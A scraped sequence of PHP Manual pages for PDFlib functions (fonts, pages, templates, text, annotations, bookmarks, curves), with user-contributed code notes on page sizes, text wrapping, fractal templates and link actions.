PDF_attach_file
PDF_begin_font
PDF Functions


Start a Type 3 font definition

PDF_begin_document
PDF_begin_glyph
PDF Functions
PHP Manual

PDF_begin_font

(PECL pdflib >= 2.0.0)

PDF_begin_font — Start a Type 3 font definition

Description

bool PDF_begin_font ( resource $pdfdoc , string $filename , float $a , float $b , float $c , float $d , float $e , float $f , string $optlist )

Starts a Type 3 font definition.

User Contributed Notes

Greg Field 16-Feb-2010 10:56
From the PDFLib site's documentation:

fontname (Name string) The name under which the font will be registered, and can later be used with PDF_load_font( ).

a, b, c, d, e, f (Will be ignored in the second pass of the font definition for Type 3 font subsets) The elements of the font matrix. This matrix defines the coordinate system in which the glyphs will be drawn. The six values make up a matrix in the same way as in PostScript and PDF. In order to avoid degenerate transformations, a*d must not be equal to b*c. A typical font matrix for a 1000 x 1000 coordinate system is [0.001, 0, 0, 0.001, 0, 0].

optlist (Ignored in the second pass for subset fonts) An option list. The following options can be used: colorized, familyname, stretch, weight, widthsonly
PDF_begin_document
PDF_begin_glyph
PDF Functions


Start glyph definition for Type 3 font

PDF_begin_font
PDF_begin_item
PDF Functions
PHP Manual

PDF_begin_glyph

(PECL pdflib >= 2.0.0)

PDF_begin_glyph — Start glyph definition for Type 3 font

Description

bool PDF_begin_glyph ( resource $pdfdoc , string $glyphname , float $wx , float $llx , float $lly , float $urx , float $ury )

Starts a glyph definition for a Type 3 font.

User Contributed Notes

There are no user contributed notes for this page.
PDF_begin_font
PDF_begin_item
PDF Functions


Open structure element or other content item

PDF_begin_glyph
PDF_begin_layer
PDF Functions
PHP Manual

PDF_begin_item

(PECL pdflib >= 2.0.0)

PDF_begin_item — Open structure element or other content item

Description

int PDF_begin_item ( resource $pdfdoc , string $tag , string $optlist )

Opens a structure element or other content item with attributes supplied as options.

User Contributed Notes

There are no user contributed notes for this page.
PDF_begin_glyph
PDF_begin_layer
PDF Functions


Start layer

PDF_begin_item
PDF_begin_page_ext
PDF Functions
PHP Manual

PDF_begin_layer

(PECL pdflib >= 2.0.0)

PDF_begin_layer — Start layer

Description

bool PDF_begin_layer ( resource $pdfdoc , int $layer )

Starts a layer for subsequent output on the page. Returns TRUE on success or FALSE on failure.

This function requires PDF 1.5.

User Contributed Notes

There are no user contributed notes for this page.
PDF_begin_item
PDF_begin_page_ext
PDF Functions


Start new page

PDF_begin_layer
PDF_begin_page
PDF Functions
PHP Manual

PDF_begin_page_ext

(PECL pdflib >= 2.0.0)

PDF_begin_page_ext — Start new page

Description

bool PDF_begin_page_ext ( resource $pdfdoc , float $width , float $height , string $optlist )

Adds a new page to the document, and specifies various options. The parameters width and height are the dimensions of the new page in points. Returns TRUE on success or FALSE on failure.

Common Page Sizes in Points
name | size
A0 | 2380 x 3368
A1 | 1684 x 2380
A2 | 1190 x 1684
A3 | 842 x 1190
A4 | 595 x 842
A5 | 421 x 595
A6 | 297 x 421
B5 | 501 x 709
letter (8.5" x 11") | 612 x 792
legal (8.5" x 14") | 612 x 1008
ledger (17" x 11") | 1224 x 792
11" x 17" | 792 x 1224

User Contributed Notes

There are no user contributed notes for this page.
PDF_begin_layer
PDF_begin_page
PDF Functions


Start new page [deprecated]

PDF_begin_page_ext
PDF_begin_pattern
PDF Functions
PHP Manual

PDF_begin_page

(PHP 4, PECL pdflib >= 1.0.0)

PDF_begin_page — Start new page [deprecated]

Description

bool PDF_begin_page ( resource $pdfdoc , float $width , float $height )

Adds a new page to the document. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_begin_page_ext() instead.

User Contributed Notes

rz at daimi dot au dot dk 19-Aug-2005 04:53
The problem is that A4 is *NOT* exactly 210mm*297mm.
(Further more, the 2.835016835017 is incorrect. You convert from mm to pps by dividing by 25.4 and multiplying by 72. Hence the ratio is 2.83464566929133858267).
The code that I posted in may produces correct sizes.
(Except for the "m65" format, sorry. "m65" is the same as "dl", and should return the same values).
d dot schneider at 24you dot de 06-Jul-2005 09:47
Try this...

<?

function mm2pt($val){
    return floatval($val * 2.835016835017);
    }

$xpdf = pdf_new();
pdf_open_file($xpdf);
pdf_begin_page($xpdf, mm2pt(210), mm2pt(297));

// ...

?>
rz at daimi dot au dot dk 28-May-2005 01:47
The DIN paper sizes below are rounded.
Theese functions returns exact paper sizes:

<?php
function paperheight($papername) {
  $name=strtolower($papername);
  switch($name) {
  case "dl": return 11/2.54*72;
  case "m65": return paperheight("c6");
  case "ledger": case "tabloid": return  17*72;
  case "legal": return paperwidth("ledger");
  case "letter": return 11*72;
  default: return paperwidth($name)*sqrt(2);
  }
}
function paperwidth($papername) {
  $name=strtolower($papername);
  switch($name) {
  case "dl": return 22/2.54*72;
  case "m65": return paperwidth("c5");
  case "ledger": case "tabloid": return  14*72;
  case "legal": case "letter": return paperheight("ledger")>>1;
  default:
    $i=strpos("ebca",$name{0});
    $j=substr($name,1);
    if($i!=false && ($j>0 || $j==="0"))
      return 100/(pow(2,($i+$j*4-1)/8))/2.54*72;
    else
      die("Unkown paper format: $papername");
  }
}

$paper = "A4";
$w = paperwidth($paper);
$h = paperheight($paper);
echo "$paper: $w ppt * $h ppt";
?>
ceo at l-i-e dot com 30-Mar-2005 01:12
I spent a lot of hours tweaking numbers in my PDF source, trying to nudge things the right way, and, invariably, really messing up big-time...

Then one day I realized that all these numbers were supposed to be (INCHES * 72).

Now my PDF code looks more like:
<?php
.
.
.
  pdf_begin_page($pdf, 8.5 * 72, 11 * 72);
.
.  /* set up $helvetica as font */
.
  pdf_set_font($pdf, $helvetica, 9);
  $leading = pdf_get_value($pdf, 'leading');
  pdf_show_boxed($pdf, 0.5 * 72, 0.5 * 72, 4.0 * 72, $leading, 'left', '');
?>

0.0, 0.0 is at the bottom left.
8.5 * 72, 11 * 72 is at the top right.
Everything in between is in x.xx * 72 where x.xx is INCHES.

Suddenly, I can visualize the PDF while I'm typing.

Might work for you too.

Sample linked from:
http://l-i-e.com/resume.htm
psychosos at gmx dot at 13-Apr-2003 05:36
Points for CD covers (approximate values)

Front cover           (119x119mm)   => 337.33x337.33 points
Inlay including sides (150x117mm)   => 425.21x331.66 points
Inlay excluding sides (137.4x117mm) => 389.49x331.66 points
ronald at upperground dot nl 19-Feb-2003 08:55
When you use the mentioned size of an a4 pdf file it will make a pdf file in the this size: 209.9 x 297 mm. If you want to create a real a4 sized pdf you can use the following:

PDF_begin_page($pdf, 595.3, 842);

It´s a small step i know... but it´s just the last mm.
f dot enzenhofer at apa dot at 14-Jan-2003 08:36
format   width     height
A0         2380      3368
A1         1684        2380
A2         1190      1684
A3          842      1190
A4           595       842
A5          421       595
A6          297         421

B5          501       709

letter        612      792
legal         612    1008
ledger       1224      792

11x17         792    1224
PDF_begin_page_ext
PDF_begin_pattern
PDF Functions


Start pattern definition

PDF_begin_page
PDF_begin_template_ext
PDF Functions
PHP Manual

PDF_begin_pattern

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_begin_pattern — Start pattern definition

Description

int PDF_begin_pattern ( resource $pdfdoc , float $width , float $height , float $xstep , float $ystep , int $painttype )

Starts a new pattern definition.

User Contributed Notes

There are no user contributed notes for this page.
PDF_begin_page
PDF_begin_template_ext
PDF Functions


Start template definition

PDF_begin_pattern
PDF_begin_template
PDF Functions
PHP Manual

PDF_begin_template_ext

(PECL pdflib >= 2.1.0)

PDF_begin_template_ext — Start template definition

Description

int PDF_begin_template_ext ( resource $pdfdoc , float $width , float $height , string $optlist )

Starts a new template definition.

User Contributed Notes

There are no user contributed notes for this page.
PDF_begin_pattern
PDF_begin_template
PDF Functions


Start template definition [deprecated]

PDF_begin_template_ext
PDF_circle
PDF Functions
PHP Manual

PDF_begin_template

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_begin_template — Start template definition [deprecated]

Description

int PDF_begin_template ( resource $pdfdoc , float $width , float $height )

Starts a new template definition.

This function is deprecated since PDFlib version 7, use PDF_begin_template_ext() instead.

User Contributed Notes

rz at daimi dot au dot dk 27-Mar-2005 05:55
Sorry. In the previous note I somehow managed to include the same program twice.
The program that uses templates to draw the fractal is

<?php
function initmengers(&$pdf,$level) {
  static $mengers;
  if($level>0) initmengers($pdf,$level-1);
  $mengers[$level] = pdf_begin_template($pdf,1,1);
  if($level===0) {
    pdf_rect($pdf,$x,$y,1,1);
    pdf_fill($pdf);
  }
  else {
    for($i=0; $i<3; $i++)
      for($j=0; $j<3; $j++)
    if($i!=1 || $j!=1)
      pdf_place_image($pdf,$mengers[$level-1],$j/3,$i/3,1/3);
  }
  pdf_end_template($pdf);
  return $mengers[$level];
}
$pdf = pdf_new();
pdf_open_file($pdf);
$pic = initmengers($pdf,6);
pdf_begin_page($pdf, 595, 421);
pdf_place_image($pdf,$pic,50,50,300);
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_delete($pdf);
?>
rz at daimi dot au dot dk 26-Mar-2005 08:23
A template is an "image" that can be drawn like a normal image, but is composed of pdflib-commands, directly specified in the program.
Templates can be used if you have a graphical pattern that you want to repeat several times - i.e. a logo repeated on top of each page. As the pdf-commands that draws the template are only included once in the file even if the template is shown several times, you can save a lot of space.

This program draws a simple fractal without the use of templates:

<?php
function drawmenger(&$pdf,$x,$y,$w,$level) {
  if($level===0) {
    pdf_rect($pdf,$x,$y,$w,$w);
    pdf_fill($pdf);
    return;
  }
  $w /= 3;
  for($i=0; $i<3; $i++)
    for($j=0; $j<3; $j++)
      if($i!=1 || $j!=1)
    drawmenger($pdf,$x+$w*$j,$y+$w*$i,$w,$level-1);
}
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 421);
drawmenger($pdf,50,50,300,6);

header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);
?>

The file created is almost 1Mb.
Using templates to store the intermediate results reduces the filesize to a mere 3kb.

<?php
function drawmenger(&$pdf,$x,$y,$w,$level) {
  if($level===0) {
    pdf_rect($pdf,$x,$y,$w,$w);
    pdf_fill($pdf);
    return;
  }
  $w /= 3;
  for($i=0; $i<3; $i++)
    for($j=0; $j<3; $j++)
      if($i!=1 || $j!=1)
    drawmenger($pdf,$x+$w*$j,$y+$w*$i,$w,$level-1);
}
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 421);
drawmenger($pdf,50,50,300,6);

header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);
?>
PDF_begin_template_ext
PDF_circle
PDF Functions


Draw a circle

PDF_begin_template
PDF_clip
PDF Functions
PHP Manual

PDF_circle

(PHP 4, PECL pdflib >= 1.0.0)

PDF_circle — Draw a circle

Description

bool PDF_circle ( resource $pdfdoc , float $x , float $y , float $r )

Adds a circle. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_begin_template
PDF_clip
PDF Functions


Clip to current path

PDF_circle
PDF_close_image
PDF Functions
PHP Manual

PDF_clip

(PHP 4, PECL pdflib >= 1.0.0)

PDF_clip — Clip to current path

Description

bool PDF_clip ( resource $p )

Uses the current path as clipping path, and terminate the path. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_circle
PDF_close_image
PDF Functions


Close image

PDF_clip
PDF_close_pdi_page
PDF Functions
PHP Manual

PDF_close_image

(PHP 4, PECL pdflib >= 1.0.0)

PDF_close_image — Close image

Description

bool PDF_close_image ( resource $p , int $image )

Closes an image retrieved with the PDF_open_image() function.

User Contributed Notes

There are no user contributed notes for this page.
PDF_clip
PDF_close_pdi_page
PDF Functions


Close the page handle

PDF_close_image
PDF_close_pdi
PDF Functions
PHP Manual

PDF_close_pdi_page

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_close_pdi_page — Close the page handle

Description

bool PDF_close_pdi_page ( resource $p , int $page )

Closes the page handle, and frees all page-related resources. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_close_image
PDF_close_pdi
PDF Functions


Close the input PDF document [deprecated]

PDF_close_pdi_page
PDF_close
PDF Functions
PHP Manual

PDF_close_pdi

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_close_pdi — Close the input PDF document [deprecated]

Description

bool PDF_close_pdi ( resource $p , int $doc )

Closes all open page handles, and closes the input PDF document. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 7, use PDF_close_pdi_document() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_close_pdi_page
PDF_close
PDF Functions


Close pdf resource [deprecated]

PDF_close_pdi
PDF_closepath_fill_stroke
PDF Functions
PHP Manual

PDF_close

(PHP 4, PECL pdflib >= 1.0.0)

PDF_close — Close pdf resource [deprecated]

Description

bool PDF_close ( resource $p )

Closes the generated PDF file, and frees all document-related resources. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_end_document() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_close_pdi
PDF_closepath_fill_stroke
PDF Functions


Close, fill and stroke current path

PDF_close
PDF_closepath_stroke
PDF Functions
PHP Manual

PDF_closepath_fill_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_closepath_fill_stroke — Close, fill and stroke current path

Description

bool PDF_closepath_fill_stroke ( resource $p )

Closes the path, fills, and strokes it. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_close
PDF_closepath_stroke
PDF Functions


Close and stroke path

PDF_closepath_fill_stroke
PDF_closepath
PDF Functions
PHP Manual

PDF_closepath_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_closepath_stroke — Close and stroke path

Description

bool PDF_closepath_stroke ( resource $p )

Closes the path, and strokes it. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_closepath_fill_stroke
PDF_closepath
PDF Functions


Close current path

PDF_closepath_stroke
PDF_concat
PDF Functions
PHP Manual

PDF_closepath

(PHP 4, PECL pdflib >= 1.0.0)

PDF_closepath — Close current path

Description

bool PDF_closepath ( resource $p )

Closes the current path. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_closepath_stroke
PDF_concat
PDF Functions


Concatenate a matrix to the CTM

PDF_closepath
PDF_continue_text
PDF Functions
PHP Manual

PDF_concat

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_concat — Concatenate a matrix to the CTM

Description

bool PDF_concat ( resource $p , float $a , float $b , float $c , float $d , float $e , float $f )

Concatenates a matrix to the current transformation matrix (CTM). Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_closepath
PDF_continue_text
PDF Functions


Output text in next line

PDF_concat
PDF_create_3dview
PDF Functions
PHP Manual

PDF_continue_text

(PHP 4, PECL pdflib >= 1.0.0)

PDF_continue_text — Output text in next line

Description

bool PDF_continue_text ( resource $p , string $text )

Prints text at the next line. Returns TRUE on success or FALSE on failure.

User Contributed Notes

cbaltaci at turkisp dot com 13-Sep-2005 03:59
Shortest way to wordwrap in pdf_continue_text. There is no problem with new lines. Thnx to GTECHNICS.com...

<?
$text = $_POST['texfield']; ;
$lines = explode("\n",$text);
pdf_set_text_pos($pdfdoc,$x ,$y);
foreach($lines as $line){
    $foo = $line;
    $foo = wordwrap($foo,122,"|");
    $Arrx = explode("|",$foo);
    $i = 0;
    while ($Arrx[$i] != "") {
       pdf_continue_text($pdfdoc,$Arrx[$i]);
       $i++;
    }
}
?>
timo dot schmid at gmail dot com 01-Jul-2005 12:19
I found no possibility to align a Text right. So I wrote a function:

<?php
function pdf_align_right($string, $chars = 10){
    $string = str_pad($string, $chars, " ", STR_PAD_LEFT);
    // Spaces in PDF-Documents are only the Half of a Normal Letter: So we replace them with 2 Spaces
    $string = preg_replace("/ /", "  ", $string);
    return $string;
}
?>

Note that the 2nd Parameter is NOT the Lenght of the returned String because the Spaces will be replaced with 2 Spaces.
stephen at thelonecoder dot com 27-Jun-2005 08:06
For wrapping text in pdf this is the method that I have been using .

It handles variable font and sizes and also variable widths on the paragraph.

<?php
        $c = $db->row['content'];

    $color = convert_hexcolor_rgbdec($color_hex);
    pdf_setcolor($pdf, 'both', 'rgb', $color['r'], $color['g'], $color['b']);

    $font = pdf_findfont($pdf, "$fontStyle", "host", 1);
    pdf_setfont($pdf, $font, $s);

    $par1 = stripslashes($c);

    $j = 0;
    $n = 0;
    while($j < $pw && $c != "") {
           $f = substr($par1, $n, 1);
           $fWidth = pdf_stringwidth($pdf, "$f", 1, $s);
           $j = $j + $fWidth;
           $fWidth = 0;
           $n++;
      }
    $wrap = $n;

    $lead = $s + 2;
    $paragraph = wordwrap($paragraph, $wrap, "***");
    $parArr = explode("***", $paragraph);

    pdf_show_xy($pdf, "$parArr[0]", $x, $y);
    pdf_set_leading($pdf, $lead);

    $i = 1;
    while($parArr[$i]) {
        pdf_continue_text($pdf, "$parArr[$i]");
        $i++;
    }
}
marco at elevate dot nl 06-Nov-2002 07:09
// Replace the while loop with this foreach and empty lines
// won't be a problem.

foreach($Arr as $line) {
      pdf_continue_text($pdf,$line);
}
npoole at binary dot net 05-Jul-2002 02:34
This is how I wrap text in a PDF file built from database content...

$foo = mysql_result($results,0,"foo");

$foo = wordwrap($foo,72,"|");

$Arr = explode("|",$foo);
$i = 0;
while ($Arr[$i] != "") {
        pdf_continue_text($pdf,$Arr[$i]);
        $i++;
}

Someone mentioned to me (and rightfully so) that this may be flawed if you have 2 blank lines, and then more text in the variable.  Use it for what you will though, you may find it (or an alteration of it) useful.
PDF_concat
PDF_create_3dview
PDF Functions


Create 3D view

PDF_continue_text
PDF_create_action
PDF Functions
PHP Manual

PDF_create_3dview

(PECL pdflib >= 2.1.0)

PDF_create_3dview — Create 3D view

Description

int PDF_create_3dview ( resource $pdfdoc , string $username , string $optlist )

Creates a 3D view.

This function requires PDF 1.6.

User Contributed Notes

There are no user contributed notes for this page.
PDF_continue_text
PDF_create_action
PDF Functions


Create action for objects or events

PDF_create_3dview
PDF_create_annotation
PDF Functions
PHP Manual

PDF_create_action

(PECL pdflib >= 2.0.0)

PDF_create_action — Create action for objects or events

Description

int PDF_create_action ( resource $pdfdoc , string $type , string $optlist )

Creates an action which can be applied to various objects and events.

User Contributed Notes

astanos dot ch 20-Mar-2008 01:30
The equal sign is interpreted as a separator sign in the optlist. But there's a way to have an url with GET params.
With the example given below:

$url = PDF_create_action($p, "URI", "url {http://www.pdflib.com/?page=home}");

PDF_create_annotation ($p, 44, 100, 55,700, "Link", "linewidth=0 action {activate $url}");
hobbesmitATthatGoogleMailProvider 06-Dec-2007 10:41
I just want to point out that PDF_create_action does not work for URLs with GET parameters (has problems with '='). Running urlencode will just create a URL that is not translated properly by the browser (at least for Firefox 2.0.0.11).

Believe it or not, your best bet is to use pdf_add_weblink(), which is supposedly deprecated.
joshivs at gmail dot com 28-Apr-2006 03:59
Here is a  note i feel important for newbies

$url = PDF_create_action($p, "URI", "url=http://www.pdflib.com");

PDF_create_annotation ($p, 44, 100, 55,700, "Link", "linewidth=0 action {activate $url}");

Above  2 lines will change the hand
cursor once your cursor is in the rectangle as assigned by the
create_annotation command.  Once you click in that area, it will
bring you to the url in create_action command.
PDF_create_3dview
PDF_create_annotation
PDF Functions


Create rectangular annotation

PDF_create_action
PDF_create_bookmark
PDF Functions
PHP Manual

PDF_create_annotation

(PECL pdflib >= 2.0.0)

PDF_create_annotation — Create rectangular annotation

Description

bool PDF_create_annotation ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $type , string $optlist )

Creates a rectangular annotation on the current page.

User Contributed Notes

Anonymous 15-Sep-2011 05:25
Annotation as URL

<?php
  $url = PDF_create_action($pdf, "URI", "url=http://www.pdflib.com");
  PDF_create_annotation ($pdf, 44, 500, 55, 600, "Link", "linewidth=1 action {activate $url}");
?>

Annotation as GoTo

<?php
  $optlist = "destination={page=1 type=fixed left=50 top=700 zoom=1}";
  $action = pdf_create_action($pdf, "GoTo", $optlist);
  PDF_create_annotation ($pdf, 44, 400, 55, 450, "Link", "linewidth=1 action {activate $action}");
?>
PDF_create_action
PDF_create_bookmark
PDF Functions


Create bookmark

PDF_create_annotation
PDF_create_field
PDF Functions
PHP Manual

PDF_create_bookmark

(PECL pdflib >= 2.0.0)

PDF_create_bookmark — Create bookmark

Description

int PDF_create_bookmark ( resource $pdfdoc , string $text , string $optlist )

Creates a bookmark subject to various options.

User Contributed Notes

Anonymous 15-Sep-2011 05:23
Bookmarks as URL

<?php
  $action = $p->create_action("URI", "url=http://www.example.com");
  $p->create_bookmark("www.example.com", "action {activate $action}");
?>

    OR

<?php
  $action = pdf_create_action($p, "URI", "url=http://www.example.com");
  pdf_create_bookmark($p, "www.example.com", "action {activate $action}");
?>

Bookmarks as GoTo

<?php
  $optlist = "destination={page=1 type=fixed left=50 top=700 zoom=1}";
  $action = $p->create_action("GoTo", $optlist);
  $p->create_bookmark("page1", "action {activate $action}"); [snip]
?>

    OR

<?php
  $optlist = "destination={page=1 type=fixed left=50 top=700 zoom=1}";
  $action = pdf_create_action($p, "GoTo", $optlist);
  pdf_create_bookmark($p, "page1", "action {activate $action}");
?>
mryan *at* carleton *daught* edu 27-Apr-2009 03:17
This function expects either basic ASCII or UTF-16 with a BOM (byte order mark) at the beginning of the string. Any other multibyte encoding (like UTF-8) will be treated as garbage, or in some situations may produce a fatal error.

Here's the solution I came up with, for making a bookmark from a UTF-8 string. The pack() function creates the BOM.

<?php
$bookmark = 'a UTF-8 string';
$bookmark = pack('H*','feff').mb_convert_encoding($bookmark, 'UTF-16', 'UTF-8');
PDF_create_bookmark($p, $bookmark, '');
?>
PDF_create_annotation
PDF_create_field
PDF Functions


Create form field

PDF_create_bookmark
PDF_create_fieldgroup
PDF Functions
PHP Manual

PDF_create_field

(PECL pdflib >= 2.0.0)

PDF_create_field — Create form field

Description

bool PDF_create_field ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $name , string $type , string $optlist )

Creates a form field on the current page subject to various options.

User Contributed Notes

There are no user contributed notes for this page.
PDF_create_bookmark
PDF_create_fieldgroup
PDF Functions


Create form field group

PDF_create_field
PDF_create_gstate
PDF Functions
PHP Manual

PDF_create_fieldgroup

(PECL pdflib >= 2.0.0)

PDF_create_fieldgroup — Create form field group

Description

bool PDF_create_fieldgroup ( resource $pdfdoc , string $name , string $optlist )

Creates a form field group subject to various options.

User Contributed Notes

There are no user contributed notes for this page.
PDF_create_field
PDF_create_gstate
PDF Functions


Create graphics state object

PDF_create_fieldgroup
PDF_create_pvf
PDF Functions
PHP Manual

PDF_create_gstate

(PECL pdflib >= 2.0.0)

PDF_create_gstate — Create graphics state object

Description

int PDF_create_gstate ( resource $pdfdoc , string $optlist )

Creates a graphics state object subject to various options.

User Contributed Notes

There are no user contributed notes for this page.
PDF_create_fieldgroup
PDF_create_pvf
PDF Functions


Create PDFlib virtual file

PDF_create_gstate
PDF_create_textflow
PDF Functions
PHP Manual

PDF_create_pvf

(PECL pdflib >= 2.0.0)

PDF_create_pvf — Create PDFlib virtual file

Description

bool PDF_create_pvf ( resource $pdfdoc , string $filename , string $data , string $optlist )

Creates a named virtual read-only file from data provided in memory.

User Contributed Notes

Norbert Bruder 27-Feb-2008 08:28
<?php
$im = @ImageCreate (50, 100)
$background_color = ImageColorAllocate ($im, 255, 255, 255);
$text_color = ImageColorAllocate ($im, 233, 14, 91);
ImageString ($im, 1, 5, 5, "Test", $text_color);

ob_start();                                                        //turn output buffering on
ImagePNG ($im);                                                    //create PNG
$img_buffer = ob_get_contents();                                   //get the PNG of the output buffer
ob_end_clean();                                                    //clear and turns off this output buffering
pdf_create_pvf($pdf, "/pvf/image/image.png", $img_buffer, "");     //create a named virtual read-only file
$img_id = pdf_load_image($pdf, "png", "/pvf/image/image.png", ""); //open the named virtual read-only file
pdf_place_image($pdf, $img_id, 50, 770, 1);                        //Places the image in the PDF-file
?>
PDF_create_gstate
PDF_create_textflow
PDF Functions


Create textflow object

PDF_create_pvf
PDF_curveto
PDF Functions
PHP Manual

PDF_create_textflow

(PECL pdflib >= 2.0.0)

PDF_create_textflow — Create textflow object

Description

int PDF_create_textflow ( resource $pdfdoc , string $text , string $optlist )

Preprocesses text for later formatting and creates a textflow object.

User Contributed Notes

Hangumk 13-Aug-2008 06:50
Not much documentation except the latest Pdflib manual, but either way the textlen is not required.

I have this and it works for me:

$opts = "fontname={$this->font[0]->_name} fontsize=$font_size encoding=$font_encoding alignment=$align ";
if ($indent) {
   $opts .= "leftindent=$indent ";
}
$textflow = pdf_create_textflow($this->_pdf,$data,$opts);

I've been working with the pdflib v7 for 2 months now, and since there's virtually no documentation on anythign except their manual, I recommend reading it. It's pretty good and detailed.
Alexandre Lveill 12-Mar-2008 09:50
I had trouble trouble adding the created textflow to the PDF. The create_textflow() method always returned 0 no matter how many textFlow I created until I added "textlen" to the optlist like this :

<?php
$length = strlen($infoJob['descriptionFac']);
$optlist = "fontname=Helvetica textlen=".$length." fontsize=".$fontSize." encoding=winansi";
?>

I don't know why, but apparently, in my case, textlen was a mandatory option...
PDF_create_pvf
PDF_curveto
PDF Functions


Draw Bezier curve

PDF_create_textflow
PDF_define_layer
PDF Functions
PHP Manual

PDF_curveto

(PHP 4, PECL pdflib >= 1.0.0)

PDF_curveto — Draw Bezier curve

Description

bool PDF_curveto ( resource $p , float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Draws a Bezier curve from the current point, using 3 more control points. Returns TRUE on success or FALSE on failure.

User Contributed Notes

rune at zedeler dot dk 09-Mar-2005 07:51
Rod's function does not work (the thing produced is not even symmetrical).
Here is one that produces a correct approximation to an ellipse:

function pdf_ellipse ($pdfobj,$x,$y,$width,$height) {
// Function to draw an ellipse inscribed in a rectangle
// described by lower left (x,y) with width and height.
  $fac = (4*sqrt(2)-4)/3;
  $dx = $width*(1-$fac)/2;
  $dy = $height*(1-$fac)/2;
  pdf_moveto($pdfobj, $x,$y+$height/2);
  pdf_curveto($pdfobj, $x,$y+$height-$dy, $x+$dx,$y+$height, $x+$width/2,$y+$height);
  pdf_curveto($pdfobj, $x+$width-$dx,$y+$height, $x+$width,$y+$height-$dy, $x+$width,$y+$height/2);
  pdf_curveto($pdfobj, $x+$width,$y+$dy, $x+$width-$dx,$y, $x+$width/2,$y);
  pdf_curveto($pdfobj, $x+$dx,$y, $x,$y+$dy, $x,$y+$height/2);
}
rod-php at thecomplex dot com 01-Oct-2002 10:15
function pdf_ellipse_inscribed ($pdfobj,$x,$y,$width,$height) {
// Function to draw an ellipse inscribed in a rectangle
// described by lower left (x,y) with width and height.
    pdf_moveto($pdfobj, $x,$y+$height/2);
    pdf_curveto($pdfobj, $x,$y+$height/2,$x,$y+$height,$x+$width/2,$y+$height);
    pdf_curveto($pdfobj, $x+$width/2,$y+$height,$x+$width,$y+$height,$x+$width,$y+$height/2);
    pdf_curveto($pdfobj, $x+$width,$y+$height/2,$x+$width,$y,$x+$width/2,$y);
    pdf_curveto($pdfobj, $x+$width/2,$y,$x,$y,$x,$y+$height/2);
}
PDF_create_textflow
PDF_define_layer
PDF Functions


Create layer definition

PDF_curveto
PDF_delete_pvf
PDF Functions
PHP Manual

PDF_define_layer

(PECL pdflib >= 2.0.0)

PDF_define_layer — Create layer definition

Description

int PDF_define_layer ( resource $pdfdoc , string $name , string $optlist )

Creates a new layer definition.

This function requires PDF 1.5.

User Contributed Notes

There are no user contributed notes for this page.
PDF_curveto
PDF_delete_pvf
PDF Functions


Delete PDFlib virtual file

PDF_define_layer
PDF_delete_table
PDF Functions
PHP Manual

PDF_delete_pvf

(PECL pdflib >= 2.0.0)

PDF_delete_pvf — Delete PDFlib virtual file

Description

int PDF_delete_pvf ( resource $pdfdoc , string $filename )

Deletes a named virtual file and frees its data structures (but not the contents).

User Contributed Notes

There are no user contributed notes for this page.
PDF_define_layer
PDF_delete_table
PDF Functions


Delete table object

PDF_delete_pvf
PDF_delete_textflow
PDF Functions
PHP Manual

PDF_delete_table

(PECL pdflib >= 2.1.0)

PDF_delete_table — Delete table object

Description

bool PDF_delete_table ( resource $pdfdoc , int $table , string $optlist )

Deletes a table and all associated data structures.

User Contributed Notes

There are no user contributed notes for this page.
PDF_delete_pvf
PDF_delete_textflow
PDF Functions


Delete textflow object

PDF_delete_table
PDF_delete
PDF Functions
PHP Manual

PDF_delete_textflow

(PECL pdflib >= 2.0.0)

PDF_delete_textflow — Delete textflow object

Description

bool PDF_delete_textflow ( resource $pdfdoc , int $textflow )

Deletes a textflow and the associated data structures.

User Contributed Notes

There are no user contributed notes for this page.
PDF_delete_table
PDF_delete
PDF Functions


Delete PDFlib object

PDF_delete_textflow
PDF_encoding_set_char
PDF Functions
PHP Manual

PDF_delete

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_delete — Delete PDFlib object

Description

bool PDF_delete ( resource $pdfdoc )

Deletes a PDFlib object, and frees all internal resources. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_delete_textflow
PDF_encoding_set_char
PDF Functions


Add glyph name and/or Unicode value

PDF_delete
PDF_end_document
PDF Functions
PHP Manual

PDF_encoding_set_char

(PECL pdflib >= 2.0.0)

PDF_encoding_set_char — Add glyph name and/or Unicode value

Description

bool PDF_encoding_set_char ( resource $pdfdoc , string $encoding , int $slot , string $glyphname , int $uv )

